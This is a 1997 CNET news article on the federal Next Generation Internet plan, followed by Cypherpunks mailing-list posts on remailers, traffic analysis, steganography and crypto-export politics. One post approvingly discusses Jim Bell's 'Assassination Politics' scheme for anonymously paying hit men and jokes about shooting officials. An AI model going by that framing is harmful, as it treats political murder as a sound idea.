   [9]Business
   [10]CNET Radio
   [11]Perspectives
   [12]Newsmakers
   [13]Rumor Mill
   
   RESOURCES
   [14]One Week View
   [15]Custom News
   [16]Subscribe
   [17]Member Services
   [18]Contact Us
   [19]Help
   [20]Search NEWS
   [21]Novell
   
   CNET SERVICES
   [22]CNET.COM
   [23]BUILDER.COM
   [24]BROWSERS.COM
   [25]GAMECENTER.COM
   [26]SEARCH.COM
   [27]DOWNLOAD.COM
   [28]SHAREWARE.COM
   [29]ACTIVEX.COM
   [30]MEDIADOME
   
   MARKETPLACE
   [31]CNET Store
   [32]Sponsorship Info
   
     [33]Category The Net
   Private dollars wanted for next Net
   By [34]Courtney Macavinta
   June 5, 1997, 3:20 p.m. PT
   
   SANTA CLARA, California--A White House official's call was dropped
   when he tried to patch into a high-tech industry powwow about the
   [35]Next Generation Internet (NGI) today--a timely demo of the
   network's need for a facelift.
   
   [36]NASA's Ames Research Center hosted the federal government's
   briefing today in hopes of roping in commercial technology partners to
   help build the Clinton Administration's three-year, $3 million NGI
   initiative.
   
   The NGI initiative aims to build a faster, smarter Internet, creating
   new applications and networking technologies to improve communication
   among the nation's academic and research centers. In some cases, NGI
   will route data at 1,000 times the speed of today's network, and will
   be able to store bandwidth for real-time data transmission.
   
   The audience laughed when the videoconferencing connection from
   Washington to the Techmart in Santa Clara crashed. But the White
   House's senior director of the National Economic Council, Thomas
   Kalil, spun the mishap into a plea for his cause.
   
   "This certainly shows why dependability and reliability need to be a
   priority for the Next Generation Internet," Kalil said when he finally
   got connected.
   
   Just as the private sector and universities assisted in creating
   ARPANET, the precursor to the Internet, Kalil and representatives from
   NASA and the [37]Energy Department want companies and the government
   to build the NGI as a team.
   
   Companies could benefit by receiving federal funds for research and
   development; they would be able to keep copyrights of their products
   in order to commercialize them, said Maylene Duenas of NASA Ames.
   
   In return the government will get input and expertise from industry
   without recreating existing private research or making the same
   mistakes. Federal agencies and research facilities also need NGI to
   shoot huge volumes of secure data across the country.
   
   "Past investments in this area have a high return on investment,"
   Kalil said. "We would like to see the United States maintain its
   position as a charter of innovation."
   
   California is already heading up a private/public Internet
   partnership.
   
   Dubbed the [38]Corporation for Network Education Initiatives in
   California (CENIC), the organization's goal is to oversee the
   development and operation of an improved data network between the
   state's university research centers.
   
   [39]Pacific Bell has already struck a deal to set aside some of its
   bandwidth for the project. "Private involvement is critical," Susan
   Astrada, executive director of CENIC said today. "There is no way the
   academic community could afford it."
   
   [40]Sun, [41]Cisco, [42]Silicon Graphics, [43]Novell, [44]Lucent
   Technologies, and [45]MCI have already endorsed NGI or plan to work on
   the project in various capacities.
   
   Although the general public won't be able use the infrastructure for
   five to ten years, the NGI initiative makes several promises that the
   White Hose says will trickle down to all Net surfers.
   
   For example, developers are working with the creators of [46]Internet
   2, a separate project funded by academia.
   
   More than 100 universities across the country are spearheading the
   project to develop new computer network applications to help improve
   their teaching and research facilities. The academic community will
   invest $50 million a year to connect the schools' students and faculty
   at speeds 100 times faster than the current network.
   
   Another component of NGI will connect just ten research facilities
   nationwide at speeds 1,000 times faster than the Internet.
   
   This means the Energy Department could send its reports of global
   climate changes over the NGI in 15 seconds. The data takes 15 minutes
   to send now, said Martha Krebs of the government agency.
   
   Not all are happy with Clinton's plan for the next Internet.
   Yesterday, senators from Alaska to Montana told the president's
   technical advisers that NGI was leaving out rural universities by
   turning only to well-known urban institutions for guidance.
   
    related news stories
    • [47]Rural demands made for Internet 2 June 4, 1997
    • [48]Internet: the Next Generation May 16, 1997
    • [49]Schools seek Internet 2 funding April 9, 1997
    • [50]Sites soon for Internet 2 January 29, 1997
    • [51]Is Clinton's Net plan for real? October 17, 1996
   
     Latest Headlines
   [52]display on desktop
     The Net
    • [53]Hong Kong exports raise concerns
    • [54]AOL members threaten to walk
    • [55]Private dollars wanted for next Net
    • [56]Sun loses round in Java fight
    • [57]Girls part of children's market, too
    • [58]TotalNews, publishers settle suit
    • [59]Domain planners dismiss critics
    • [60]Faster Net access comes at a price
     Computing
    • [61]For small vendors, a bizarre bazaar
    • [62]NCI to compete with WebTV
    • [63]Gateway, Compaq pitch low-cost PC-TVs
    • [64]Nashville's @Home uses Motorola modems
     Intranets
    • [65]Sun has agenda with Java server
     Business
    • [66]Coast clear for Gateway shares
    • [67]Gamer Electronic Arts buys rival
    • [68]Micron chip prices edging up
    • [69]Iomega trades on buyout rumors
    • [70]Marengi ousted from Novell
    • [71]Book publishers accused of piracy
    • [72]HP exec wants Euro telco competition
     Hidden - SpRept Promo
     No new articles.
   
   [73][LINK] [74]Copyright � 1995-97 CNET, Inc. All rights reserved.

References

   1. http://www.news.com/cgi-bin/redirect.cgi?location=http%3A%2F%2Fwww%2Ehp%2Ecom%2Finfo%2Fns%2Dnc%23%23CLink%23DEF%23HP%5FNetwork%5FScanner%23Breath2%23%23
   2. http://www.cnet.com/
   3. http://www.news.com/
   4. http://registration.cnet.com/Registration/1,2,,0800.html?webAbbrev=ne&from=http://www.news.com/index.html
   5. http://www.news.com/?ntb.news
   6. http://www.news.com/Categories/Index/0,3,1,00.html?ntb.net
   7. http://www.news.com/Categories/Index/0,3,2,00.html?ntb.cmptng
   8. http://www.news.com/Categories/Index/0,3,3,00.html?ntb.intrnt
   9. http://www.news.com/Categories/Index/0,3,4,00.html?ntb.bsns
  10. http://www.news.com/Radio/index.html?ntb.radio
  11. http://www.news.com/Perspectives/perspectives.html?ntb.pers
  12. http://www.news.com/Newsmakers/index.html?ntb.newsmkr
  13. http://www.news.com/Rumors/Entry/0,26,,00.html?ntb.rumor
  14. http://www.news.com/Week/List/0,100,,00.html?ntb.owv
  15. http://www.news.com/Personalized/FrontDoor/1,2,,00.html?nocache=1
  16. http://www.news.com/Dispatch/Entry/0,65,,00.html
  17. http://registration.cnet.com/MemberServices/1,9,,00.html?webAbbrev=ne&from=http://www.news.com
  18. http://www.news.com/Staff/index.html?ntb.staff
  19. http://www.news.com/Help/Item/0,24,2,00.html?ntb.help
  20. http://www.news.com/Searching/Entry/0,17,0,00.html?ntb.srchg
  21. http://www.news.com/cgi-bin/redirect.cgi?location=http://www.novell.com/RockTheNet%23%23CLink%23PTL%23Novell_Rock%23Ptl_Net_Rock%23%23
  22. http://www.cnet.com/?ntb.cnet
  23. http://www.cnet.com/Content/Builder/?ntb.bldr
  24. http://www.browsers.com/?ntb.brow
  25. http://www.gamecenter.com/?ntb.gc
  26. http://www.search.com/?ntb.search
  27. http://www.download.com/?ntb.dl
  28. http://www.shareware.com/?ntb.sw
  29. http://www.activex.com/?ntb.ax
  30. http://www.mediadome.com/index.html?ntb.md
  31. http://www.store.cnet.com/
  32. http://www.news.com/Sponsors/index.html?ntb.spnsr
  33. http://www.news.com/Categories/Index/1,3,1,00.html
  34. mailto:courtm at cnet.com
  35. http://www.ngi.gov/
  36. http://www.nasa.gov/
  37. http://www.es.net/
  38. http://www.aldea.com/cenic/
  39. http://www.pacbell.net/
  40. http://www.sun.com/
  41. http://www.cisco.com/
  42. http://www.sgi.com/
  43. http://www.novell.com/
  44. htpp://www.lucent.com/
  45. http://www.mci.com/
  46. http://www.internet2.edu/
  47. http://www.news.com/News/Item/0,4,11219,00.html
  48. http://www.news.com/News/Item/0,4,10750,00.html
  49. http://www.news.com/News/Item/0,4,9536,00.html
  50. http://www.news.com/News/Item/0,4,7453,00.html
  51. http://www.news.com/News/Item/0,4,4579,00.html
  52. javascript:OpenWindow();
  53. http://www.news.com/News/Item/0,4,11279,00.html?latest
  54. http://www.news.com/News/Item/0,4,11267,00.html?latest
  55. http://www.news.com/News/Item/0,4,11276,00.html?latest
  56. http://www.news.com/News/Item/0,4,11253,00.html?latest
  57. http://www.news.com/News/Item/0,4,11275,00.html?latest
  58. http://www.news.com/News/Item/0,4,11272,00.html?latest
  59. http://www.news.com/News/Item/0,4,11266,00.html?latest
  60. http://www.news.com/News/Item/0,4,11263,00.html?latest
  61. http://www.news.com/News/Item/0,4,11280,00.html?latest
  62. http://www.news.com/News/Item/0,4,11273,00.html?latest
  63. http://www.news.com/News/Item/0,4,11269,00.html?latest
  64. http://www.news.com/News/Item/0,4,11265,00.html?latest
  65. http://www.news.com/News/Item/0,4,11271,00.html?latest
  66. http://www.news.com/News/Item/0,4,11248,00.html?latest
  67. http://www.news.com/News/Item/0,4,11278,00.html?latest
  68. http://www.news.com/News/Item/0,4,11277,00.html?latest
  69. http://www.news.com/News/Item/0,4,11270,00.html?latest
  70. http://www.news.com/News/Item/0,4,11268,00.html?latest
  71. http://www.news.com/News/Item/0,4,11260,00.html?latest
  72. http://www.news.com/News/Item/0,4,11258,00.html?latest
  73. http://www.news.com/News/Item/0,4,11276,00.html?dtn.head#top
  74. http://www.news.com/copyright.html






From gbroiles at netbox.com  Thu Jun  5 17:35:49 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Fri, 6 Jun 1997 08:35:49 +0800
Subject: IRS Hit
In-Reply-To: <199706051429.JAA02097@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970605170523.00886470@mail.io.com>



At 04:59 PM 6/5/97 -0600, Jim Burnes wrote:
>The defendant is perfectly able to bring charges in this matter against
>James Dolan personally.  There is precedent in this.  If my read of
>the judge is accurate he is saying, "go after him because he was acting
>outside his office".
>
>I can't remember the exact name of this decision, but I think it was
>something like "so-and-so vs. 5 unnamed FBI officers".

It's _Bivens v. Six Unknown Federal Narcotics Agents_, 403 US 388 (1971),
or .


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From stewarts at ix.netcom.com  Thu Jun  5 18:25:05 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 6 Jun 1997 09:25:05 +0800
Subject: Who "invented" remailers?
In-Reply-To: <199706040344.XAA12280@muesli.ai.mit.edu>
Message-ID: <3.0.1.32.19970605181309.00767c08@popd.ix.netcom.com>



At 09:39 PM 6/3/97 -0700, Tim May wrote:
>At 8:44 PM -0700 6/3/97, Hallam-Baker wrote:
>>The point I was making was rather different, I think the total volume
>>of PGP mail of all types is probably not a large enough fraction of the
>>trafic on the net to be secure.  Taking any use of PGP as prima facie
>>evidence of subversive activity probably provides a reasonable cut.
>
>If you mean as prosecutable offense, I don't think you fully understand the
>laws of the United States. Much as we like to criticize the U.S., and bad
>laws, and whatnot, there is no such thing as "prima facie evidence of
>subversive activity," at least not since the House Unamerican Activities
>Committee and Joe McCarthy.

There's prosecution and there's investigation (and there's harassment.)
If the number of people using the remailers and PGP is small,
then it's easier to compile and expand the list of "usual suspects"
who can be checked out more carefully with other means.

For a real-world case, a friend of mine who lives in a Third World kleptocracy
has a copy of PGP, but doesn't want to risk using it except for
very critical mail, because his email and phones are routinely tapped
(it's the kind of place that when he got a new higher-speed modem the
phone company called him up and asked him what he was doing....)
The local thugs were considering stealing the computer that forwards his
email,
but were deterred by the argument that it's password-protected so 
they won't be able to use it if they steal it.  PGP would really stand out,
and could lead to them stealing it anyway - if they were the politically
murderous type rather than just thieves and thugs, it would be a serious risk.
("This is a job for Steganography, man!")

Suppose, for instance, that the Feds (whatever COINTELPRO calls themselves
these days) are watching Alice the Activist, and find that she's using
Bob's Remailer.  So they watch Bob's Remailer, and find it's sending 
traffic to Carol at foobar.com.  Maybe they haven't known about her before.
Or maybe they check with foobar.com and find she's probably Carol the Commie,
who they hadn't previously known used email.  No, they can't prove that
Alice sent mail to Carol - but she's still a lead, and since they're
both politically incorrect people, it's not a bad guess.
Even with multiple remailers, say 10, this still works.

On the other hand, if there are a lot of remailer users, from diverse
communities, with lots of recipients and lots of traffic sources,
this attack is less of a problem -- but it's still a problem.
For instance, if Spam Inc. is sending out 50,000 Spams/hour, 
and the Feds see Carol's name in the remailer's sendmail log,
there's no reason to bother checking up on her further.
However, if they're also snooping the outgoing mail,
and the mail to her was PGP-encrypted, and the 50,000 SPAMs weren't,
then the mail to her is still interesting, even though they can't read it.
You could hack the remailer to insist that all outgoing mail be
encrypted (or at least contain "BEGIN PGP ENCRYPTED MESSAGE"),
which would also cut down on Spamming, but it takes you back to the
case of too few users.

>> How many people in total do you have using the mixers? 
>> How many mixers are there?
>Raph Levien posts his report regularly to the list, plus he has a Web site.

The ghio2 remailer code I used to write my (former) remailer had a 
"remailer-stats" command, that would give you traffic levels.
I don't know how many of the other remailers support it.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Thu Jun  5 18:32:12 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 6 Jun 1997 09:32:12 +0800
Subject: Bell/Vulis Ranters (Was: Re: McVeigh)
In-Reply-To: <3.0.2.32.19970603171127.036e9fd0@panix.com>
Message-ID: <3.0.1.32.19970605173645.007431f0@popd.ix.netcom.com>



	[Well, this should trigger most people's killfiles.... :-)]

At 05:29 PM 6/3/97 -0400, Hallam-Baker wrote:
>I'll accept that the ranting faction do some good work but I've 
>not seen anything usefull out of either Bell or Vulis unless that
>is you are an FBI agent looking to get a promotion from Freeh.

Vulis has contributed a few good things to the remailer discussions,
such as methods for keeping block lists as hashes rather than plaintext,
which potentially increases privacy of people on publicly accessible lists.
(I say "potentially", because I don't think anyone's implemented it,
but it's clearly the Right Thing to do.)
However, he's deliberately made himself annoying to everyone,
without the redeeming social value in most of his posts that
arch-ranters like Detweiler had, and even his useful posts generally
include gratuituous vulgar insults.

Bell's value, by contrast, has been in the Assassination Politics work.
Sure, he's a mostly one-track ranter, to the extent that lots of people 
got fed up with it, but much of his analysis is sound even though
his advocacy of it is pretty dodgy.  I don't think that anybody is
likely to set up this sort of Assassination Pool on a regular basis,
but he does solve one of the fundamental difficulties with it -
how to let the real hit man claim that he did the job and where to
send his payment when the deal is handled entirely over the net
(and thus there's no good way to prove who done it vs. who's claiming
they did it to get the money.)  Some of these techniques may be useful
when applied to other problems in the emerging Internet economy;
it gets at issues of repudiation of anonymous transactions,
need for (real) escrow, etc.

Bell's point that government would be much better behaved if the individuals
in government could be held individually and personally responsible
for their actions is certainly valid.  Whether shooting them is an 
appropriate way to hold them responsible is another discussion (:-).

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From whgiii at amaranth.com  Thu Jun  5 18:38:31 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 6 Jun 1997 09:38:31 +0800
Subject: 0,4,11276,00.html?dtn.head
Message-ID: <199706060130.UAA11234@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----


In <199706052359.TAA30048 at yakko.cs.wmich.edu>, on 06/05/97 
   at 07:59 PM, Damaged Justice  said:

>[36]NASA's Ames Research Center hosted the federal government's
>   briefing today in hopes of roping in commercial technology partners to
>   help build the Clinton Administration's three-year, $3 million NGI
>   initiative.
>   

This is yet another example of the Federal Government interfering with the
free market.

The govenrment is not needed to *fix* the Internet backbone. If the
various labs, schools, ..ect need bigger and faster connections then they
need to dig into their pockets and, god forbid, pay for it!

I see absolutly no reason why I as joe sixpack taxpayer should have to
fund through my tax dollars some multi gigabyte backbone that I am not
even allowed to use!!!

 Hopfully the revolution will come in my lifetime.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5dmvI9Co1n+aLhhAQFl3gQAg9OwmnhCgnkjRrq5bIRlaV39ofKterLf
13H47nGxUTI41SOePmwTDAUTlapAPRnPywSCX5J3v4Us/ZRa9KFN7pacqUoQmcnC
3K6Ouc1F3rFiH50zRi3XWkxS7OY3WZAep97s4dd1cXOM74iP6glY8e7psyMdGYbk
ML3Vlfgv3nc=
=Nvku
-----END PGP SIGNATURE-----






From ravage at EINSTEIN.ssz.com  Thu Jun  5 18:53:25 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Fri, 6 Jun 1997 09:53:25 +0800
Subject: Government money, Net picketing, and public fora (fwd)
Message-ID: <199706060113.UAA07515@einstein.ssz.com>



Hi,

Forwarded message:

> Date: Thu, 05 Jun 1997 13:48:59 -0700
> From: Bill Stewart 
> Subject: Re: Government money, Net picketing, and public fora (fwd)

> You're not doing very well.  I can see a number of possible meanings:
> 
> 1) You want to be able to "picket" other people's net traffic,
> and think that the amount of government funding out there gives you some 
> standing to force some parts of the net to carry your "picket signs".
> And therefore you keep posting similar vigorous assertions, in response
> to other people's contentions that this would be bad.

You have been paying NO attention at all, no wonder you are having a hard
time trying to figure it out. Concentrate now, I DO NOT want to picket
anyone for anything at anytime. I have better things to do with my time like
spend my money in another store.

It HAS been my contention from my original post that I DO NOT think this is
a good idea.

I am going to decline responding to the remiander of this since it is a
waste of my meta-carpal tunnel syndrome.

[much inattentive blah deleted]

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage at ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|






From tcmay at got.net  Thu Jun  5 19:41:42 1997
From: tcmay at got.net (Tim May)
Date: Fri, 6 Jun 1997 10:41:42 +0800
Subject: "Fascism _is_ corporatism"
In-Reply-To: 
Message-ID: 



At 12:14 PM -0700 6/5/97, Declan McCullagh wrote:
...
>Mr. Gates Goes to Washington
>by Declan McCullagh (declan at well.com)
...
>        This Billionaire Boys' Club was especially keen on praising two
>   bills that would generally relax export rules. "We clearly support the
>   House and the Senate bills that are on the Hill in their original
>   form. Getting reform done now is a huge priority for all of us," said
>   one. "There are bills in the House and the Senate that are totally
>   acceptable, and if those bills are passed they'd solve the problem,"
>   another added.
>
>        But perhaps Bill Gates should have spent less time writing BASIC
>   interpreters and more time in civics classes, because these bills are
>   far from perfect. In fact, they may be downright dangerous.


The problem with SAFE is that it is a bill favoring industry while hurting
citizens.

Unfortunately, the process of "corporate-friendly lawmaking" is nothing
new, with examples of giveaways and special favors given to corporations
going back into the last century.

The problem is made worse by the "camouflage" words like "Center for
Democracy andTechnology" in the names of leading advocates of bills like
SAFE. Their names make them appear to be civil rights groups, but their
actions and funding make them just industry lobbying groups.

The crapola we just heard from PGP Inc. about how it was able to
export--with the critical detail that it was only for certain favored large
corporations left until the bottom of the announcement--shows that
lawmaking is just corporate favoritism.

As Mussolini so accurately said, "Fascism _is_ corporatism."

I'm not an anti-capitalist. Far from it. But I don't believe Microsoft or
Intel or any other company can ever have special rights or privileges the
rest of us don't have. On the flip side, I don't believe such corporations
can have any restrictions placed on them. A law saying Intel has no First
Amendment rights would be wrong (just as laws about who companies can or
cannot hire are unconstitutional, in my view).

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Thu Jun  5 20:57:14 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 6 Jun 1997 11:57:14 +0800
Subject: IRS Hit
In-Reply-To: <3.0.2.32.19970605170523.00886470@mail.io.com>
Message-ID: <199706060325.WAA00946@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970605170523.00886470 at mail.io.com>, on 06/05/97 
   at 05:05 PM, Greg Broiles  said:


>At 04:59 PM 6/5/97 -0600, Jim Burnes wrote:
>>The defendant is perfectly able to bring charges in this matter against
>>James Dolan personally.  There is precedent in this.  If my read of
>>the judge is accurate he is saying, "go after him because he was acting
>>outside his office".
>>
>>I can't remember the exact name of this decision, but I think it was
>>something like "so-and-so vs. 5 unnamed FBI officers".

>It's _Bivens v. Six Unknown Federal Narcotics Agents_, 403 US 388 (1971),
>or
>.

The problem here is that we are talking civil action not criminal
prosecution. Both James Dolan and his co-conspiritors should be up on
criminal charges and spend a nice long vacation at "club fed".

I am sure that the federal appologist on the list will have some excuse
why federal agents should be exempt from procecution when they commit
felonies against the citizens of this country that they are hired to serve
and protect.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5eEUY9Co1n+aLhhAQFMsQP+Nt6ArSXM3J2xuk063kQy0AS2L3m6A2X4
X92DlM4AenbiYQX2nLQpxRaXKHJAjg+KVJC6QkT145a+iPVaf95RYIAt8mG5uoDk
RwVZDiUfMZT3jEGfu1mESLWkqrqkjydizRH2RU3IjyxLRcZnL5lCUazExGtGPIxt
CsVCXjbAToU=
=2I3P
-----END PGP SIGNATURE-----






From whgiii at amaranth.com  Thu Jun  5 21:07:46 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 6 Jun 1997 12:07:46 +0800
Subject: Who "invented" remailers?
Message-ID: <199706060305.WAA00673@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.1.32.19970605181309.00767c08 at popd.ix.netcom.com>, on 06/05/97
   at 06:13 PM, Bill Stewart  said:

>Suppose, for instance, that the Feds (whatever COINTELPRO calls
>themselves these days) are watching Alice the Activist, and find that
>she's using Bob's Remailer.  So they watch Bob's Remailer, and find it's
>sending  traffic to Carol at foobar.com.  Maybe they haven't known about her
>before. Or maybe they check with foobar.com and find she's probably Carol
>the Commie, who they hadn't previously known used email.  No, they can't
>prove that Alice sent mail to Carol - but she's still a lead, and since
>they're both politically incorrect people, it's not a bad guess.
>Even with multiple remailers, say 10, this still works.

Well I guess I should let the cat out of the bag, :)

I have been working on addressing this very problem.

I haven't had time to write a formal paper on this but I can give you some
of the basics.

It makes use of a stego of sorts. Alice would post a message to a non
threating mailing list. In that list certain key words would be
misspelled. Carol would use these key words to tell her to look for a
certain message posted anonymously & encrypted in a newsgroup (stego in a
gif file to a binary group works quite well).

Now it would be possiable to track that Alice was sending messages to a
remailer there would be no way to track that Carol was receiving these
messages. At best it would be know that Carol was a reader of
alt.binaries.japan.cartoons or some other non-threating newsgroup.

Now this requires both Carol & Alice to be running the same software for
generating the spelling stegos and interperting them. It helps if Alice
has the reputation of being a very bad speller (ha and you all laughed at
my spelling mistakes). The use of a special dictionary that contains
common mispellings of common words is a great aid but I have yet to find
one in electronic form. An OTP should be generated and used as a seed to
the software to keep the two systems in synch. This can be encrypted &
stegoed and posted to a pre-selected newsgroup. Once the inital synching
of the two systems have been acomplished new pads can be generated and
distributed by the same mechanisims.

This does not protect Alice from comming under the guns for using a
remailer nor does it provide a way for Carol to reply. The anonymous
remailers could be completly bypassed and both Carrol and Alice could do
all communication through stegoed newsgroup postings. Alos mailing list
need not be used but the plaintext messages could be posted via
newsgroups. There is a reliabilty issue going this route (from my personal
experaince mailing list are more reliable than newsgroups YMMV).

The details of applying such a system is more complex but the above gives
you the basics of it.

- --
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5d+s49Co1n+aLhhAQEwUAP9EzMOcL0c10ZiF6BrbJ6unXTIbXaJ8zIp
7c2wVdcF81HBMbYXkloyCJGfekRpH+hFN6Ga85XHQ3iS/SD4PUykWx/rrGT6y3Ws
fzvbQ3ST3IR7VBYqtHb49aNNhcr3yg6S5ecp3IXi49WNxi4A+mLQ80omB/mGSEC2
0PA1fDH3bMA=
=wa//
-----END PGP SIGNATURE-----






From nobody at huge.cajones.com  Thu Jun  5 21:28:11 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 6 Jun 1997 12:28:11 +0800
Subject: Traffic Analysis Re: Who "invented" remailers?
Message-ID: <199706060248.TAA19439@fat.doobie.com>



Tim May wrote:
> 
> It all depends on:
> 
> - how many other messages are being received by Lucky and Tim (PGP messages
> arriving from remailers, obviously, not just ordinary traffic, though
> ordinary traffic helps a bit)

  A remailer system could have a mechanized procedure for ensuring
that those who wished could receive cover mail at certain times no
matter what was in the queque. If a message came in that was meant
for them, then it would replace the cover message in the queque.
  Has anyone concerned with remailer development spent any time
actually doing remailer traffic analysis, similar to a cryptographer
who does cryptanalysis to raise his level of competence?	  
  It would be interesting to see the results of messages being sent
between cypherpunks and encrypted with a "TA" key so that they could
be separated and logged for traffic analysis. I would like to see
what kind of results could be divined by those who know remailer
operations intimately.

Al Gore, ITHM






From lucifer at dhp.com  Thu Jun  5 21:30:40 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Fri, 6 Jun 1997 12:30:40 +0800
Subject: Christian IP Network / Re: Webpage picketing (fwd)
Message-ID: <199706060305.XAA21348@dhp.com>



John Deters wrote: 
> (This brings to mind another solution:  "The Christian IP Network.
> Guaranteed to not deliver unto you the E-vil packets of the Demons of
> Pornographers, Terrorists, Narcotics Traffickers, Money Launderers or
> Cypherpunks.  We're the ISP that delivers only Family-Valued, God-Blessed
> and Jesus-Approved packets to your customers.  Send lots of money now,
> censors are standing by."  

  If Jesus has a sense of humor, then when he comes back he will make
the announcement only on sites blocked by CyberSitter.
(I will forward the announcement to the list for the benefit of those
list members whose subscription to the "Hot Teenage Sluts" website has
expired.)

SlutMonger







From lucifer at dhp.com  Thu Jun  5 21:50:08 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Fri, 6 Jun 1997 12:50:08 +0800
Subject: Webpage anti-abortion picketing...
Message-ID: <199706060347.XAA23758@dhp.com>



Jim Choate wrote:
> 
> I no more want to slap more spin doctor
> output in front of others than to have to look at it myself. I was mainly
> trying to make a prediction about the future and then seeing, if reasonable,
> how long it took.
> 
> It occurs to me that somebody with the right
> motivation might want to claim that they have a right to put a box on such a
> backbone (ie stand on the sidewalk in front of the store) and scrape for
> particular addresses (ie the business they want to picket). 

  This is precisely why we should fight all efforts of the government
to get their foot in the door in regard to control of the internet.
  I have no doubt that the government will at some point bestow upon
some element of the internet a "gift" of funding of some type that they
will proclaim is for the public benefit. Their true purpose, naturally,
will be to give Joe Grapepicker legal standing to apply to a judge to
uphold his "right" to picket the Safeway website.

  The fact of the matter is, we are currently free to do much as we 
wish to on the internet. Some call this freedom. Unfortunately, it can
also be called "freedom from government interference," which is an
anathema to those in power.
  As long as cypherpunks Timothy McMay and Dimitri Nichols conspire only
to promote electronic freedom on the list, then the rest of the decent,
law-abiding cypherpunks are probably relatively safe. Should they choose
to begin promoting abortion on the list, however, this could change
rapidly.

(It just occured to me that censorship promoters could be considered to
be "Electronic Abortion Activists." Perhaps we need a new censorship
ASSociation to be formed, called the EAA, with Jerry Falwell, et al, 
as its TITular HEADs, and with chapters throughout the CoUNTry.)

TruthMonger







From ichudov at Algebra.COM  Thu Jun  5 21:58:41 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Fri, 6 Jun 1997 12:58:41 +0800
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /\bcancel\b/i at line 7  Admin request of type
Message-ID: <199706060420.XAA19797@manifold.algebra.com>



----- Forwarded message from owner-cypherpunks at algebra.com -----

>From owner-cypherpunks at Algebra.COM  Thu Jun  5 22:56:26 1997
From: owner-cypherpunks at algebra.com
Date: Thu, 5 Jun 1997 23:55:50 -0400 (EDT)
Message-Id: <199706060355.XAA06364 at www.video-collage.com>
To: owner-cypherpunks at Algebra.COM
Subject: BOUNCE cypherpunks at Algebra.COM:     Admin request of type /\bcan-cel\b/i at line 7  Admin request of type /\bcan-cel\b/i at line 9  

>From cpunks  Thu Jun  5 23:55:48 1997
Received: from toad.com (toad.com [140.174.2.1])
	by www.video-collage.com (8.8.5/8.8.5) with ESMTP id XAA06352
	for ; Thu, 5 Jun 1997 23:55:46 -0400 (EDT)
Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id UAA26788 for cypherpunks-unedited-outgoing; Thu, 5 Jun 1997 20:36:04 -0700 (PDT)
Received: from dhp.com (dhp.com [199.245.105.1]) by toad.com (8.7.5/8.7.3) with ESMTP id UAA26783 for ; Thu, 5 Jun 1997 20:35:59 -0700 (PDT)
Received: (from lucifer at localhost) by dhp.com (8.8.5/8.6.12) id XAA23074 for cypherpunks at toad.com; Thu, 5 Jun 1997 23:36:00 -0400
Date: Thu, 5 Jun 1997 23:36:00 -0400
